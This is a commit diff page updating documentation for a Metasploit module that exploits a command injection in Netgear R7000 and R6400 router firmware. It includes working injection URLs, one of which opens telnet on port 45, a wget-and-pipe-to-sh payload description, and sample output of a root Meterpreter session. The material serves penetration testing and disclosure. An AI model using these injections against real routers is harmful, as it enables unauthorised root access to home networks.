Skip to content

Commit dd97461

Browse files
authored
Update netgear_r7000_cgibin_exec.md
1 parent 69769b1 commit dd97461

File tree

1 file changed

+25
-33
lines changed

1 file changed

+25
-33
lines changed
Lines changed: 25 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
1+
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.
22

33

44
## Vulnerable Application
@@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
1212
3. Do: `set RHOST <RouterIP>`
1313
4. Do: `set PAYLOAD <payload>`
1414
5. Do: `run`
15-
6. If the router is a R7000 or R6400, the module should run
15+
6. If the router is a R7000 or R6400, you should get a session
1616

1717
## Options
1818

1919
**PAYLOAD**
2020

21-
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
21+
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
2222

2323
## Scenarios
2424

25-
Sample output of the options looks like so
26-
25+
Sample output of a successful session:
26+
2727
```
28-
msf exploit(netgear_r7000_cgibin_exec) > options
29-
30-
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
31-
32-
Name Current Setting Required Description
33-
---- --------------- -------- -----------
34-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
35-
RHOST 192.168.1.1 yes The target address
36-
RPORT 80 yes The target port (TCP)
37-
SSL false no Negotiate SSL/TLS for outgoing connections
38-
VHOST no HTTP server virtual host
39-
40-
41-
Payload options (cmd/unix/reverse_bash):
42-
43-
Name Current Setting Required Description
44-
---- --------------- -------- -----------
45-
LHOST 192.168.153.34 yes The listen address
46-
LPORT 4444 yes The listen port
47-
48-
49-
Exploit target:
50-
51-
Id Name
52-
-- ----
53-
0 Automatic Target
54-
55-
msf exploit(netgear_r7000_cgibin_exec) >
28+
msf exploit(netgear_r7000_cgibin_exec) > run
29+
30+
[*] Started reverse TCP handler on 127.0.0.1:4444
31+
[*] Router is a NETGEAR router (R7000)
32+
[+] Router may be vulnerable (NETGEAR R7000)
33+
[*] Using URL: http://0.0.0.0:8080/
34+
[*] Local IP: http://[redacted]:8080/
35+
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
36+
[*] Server stopped.
37+
38+
meterpreter > getuid
39+
Server username: uid=0, gid=0, euid=0, egid=0
40+
meterpreter > sysinfo
41+
Computer : 192.168.1.4
42+
OS : (Linux 2.6.36.4brcmarm+)
43+
Architecture : armv7l
44+
Meterpreter : armle/linux
45+
meterpreter >
5646
```
5747

48+
As you can see, the `uid` is 0, meaning you have root access.
49+
5850

0 commit comments

Comments
 (0)